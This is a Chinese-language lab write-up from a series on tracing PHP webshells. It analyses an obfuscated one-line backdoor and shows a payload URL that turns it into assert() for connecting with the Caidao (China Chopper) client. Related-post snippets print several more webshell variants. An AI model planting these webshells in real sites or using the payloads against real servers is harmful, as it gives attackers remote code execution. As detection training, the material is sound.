WebShell代码分析溯源(一)
WebShell代码分析溯源(一)
一、一句话变形马样本
<?php $_GET['POST']($_POST['GET']);?>
二、代码分析
1、调整代码格式
<?php
$_GET['POST']($_POST['GET']);
?>
2、分析代码,首先以GET方法接收url中POST参数传递的值,然后又以POST方法接收GET参数传递的值,因此可以构造payload:http://www.test.com/test.php?POST=assert,这样就相当于一句话木马变成这样: <?php assert($_POST['GET']);?>
注:不能使用eval,eval与assert的区别:
eval函数中参数是字符,eval并不支持可变变量形式
assert函数中参数为表达式 (或者为函数)
参考:
https://www.anquanke.com/post/id/173201/
https://blog.csdn.net/whatday/article/details/59168605
三、漏洞环境搭建
1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第1题)),地址: https://www.mozhe.cn/bug/detail/TkhnOVovVm14KzV6aTN5K2d1dFZ0Zz09bW96aGUmozhe
2、代码环境,下载代码

3、找到webshell代码处,然后分析(上面已经分析过了)

4、构造payload,然后使用菜刀连接
Payload: http://219.153.49.228:49785/www/cn-right.php?POST=assert

四、后记
学习常用webshell扫描检测查杀工具---WebShellKillerTool (深信服webshell扫描检测引擎),网址: http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip
使用深信服WebShellKillerTool进行webshell查杀

WebShell代码分析溯源(一)的更多相关文章
- WebShell代码分析溯源(十一)
WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...
- WebShell代码分析溯源(十)
WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...
- WebShell代码分析溯源(九)
WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...
- WebShell代码分析溯源(八)
WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...
- WebShell代码分析溯源(七)
WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...
- WebShell代码分析溯源(六)
WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ...
- WebShell代码分析溯源(五)
WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($ar ...
- WebShell代码分析溯源(四)
WebShell代码分析溯源(四) 一.一句话变形马样本 <?php @$_++;$__=("`"^"?").(":"^"} ...
- WebShell代码分析溯源(三)
WebShell代码分析溯源(三) 一.一句话变形马样本 <?php $g = array('','s');$gg = a.$g[1].ser.chr('116');@$gg($_POST[ge ...
随机推荐
- sql server 使用 partition by 分区函数 解决不连续数字查询问题
sql server表中的某一列数据为不一定连续的数字,但是需求上要求按照连续数字来分段显示,如:1,2,3,4,5,6,10,11,12,13, 会要求这样显示:1~6,10~13.下面介绍如何实现 ...
- SpringBoot集成Shiro 实现动态加载权限
一.前言 本文小编将基于 SpringBoot 集成 Shiro 实现动态uri权限,由前端vue在页面配置uri,Java后端动态刷新权限,不用重启项目,以及在页面分配给用户 角色 . 按钮 .ur ...
- Hadoop点滴-初识MapReduce(2)
术语: job(作业):客户端需要执行的一个工作单元,包括输入数据.MP程序.配置信息 Hadoop将job分成若干task(任务)来执行,其中包括两类任务:map任务.reduce任务.这些任务在集 ...
- 阿里云服务器CentOS6.9 tomcat配置https安全访问
应用场景 上线微信小程序的时候,域名要求https安全格式,否则获取数据异常. 第一步.SSL证书获取 获取SSL证书方式很多种,包括网页生成.工具生成等,这里我使用阿里云平台获取免费ssl证书的方法 ...
- 【译】微软的Python入门教程(一)
Getting started with Python(Python入门) Overview 概述 The series of videos on Channel 9 is designed to h ...
- Flask上下文管理机制流程(源码剖析)
Flask请求上下文管理 1 偏函数 partial 使用该方式可以生成一个新函数 from functools import partial def mod( n, m ): return n % ...
- Github配合Jenkins,实现vue等前端项目的自动构建与发布
本篇文章前端项目以vue为例(其实前端工程化项目的操作方法都相同),部署在Linux系统上(centos). 之前做前端项目的部署,一直都是手动运行打包命令,打包完.再使用FTP.Xshell等这类的 ...
- springmvc中重定向该如何处理?
如果登录成功,会重定向到系统首页 response.sendRedirect("jsp/frame.jsp"); 在springmvc中,应该如何处理?是否可以直接使用 retur ...
- 浅析十大常见排序(含C++代码)
首先声明一下,本文只对十种排序算法做简单总结,并参照一些资料给出自己的代码实现,并没有对某种算法理论讲解,更详细的 了解可以参考以下资料: 1.<data structure and algor ...
- Orecle基本概述(1)
Orecle1.什么是orecle及体系结构?* 全局数据库,指物理磁盘数据库,一个真实存在的磁盘目录.*用户: 用户在oracle里面是用来隔离数据的*表空间: 逻辑结构,不可视的,虚拟的,用户的数 ...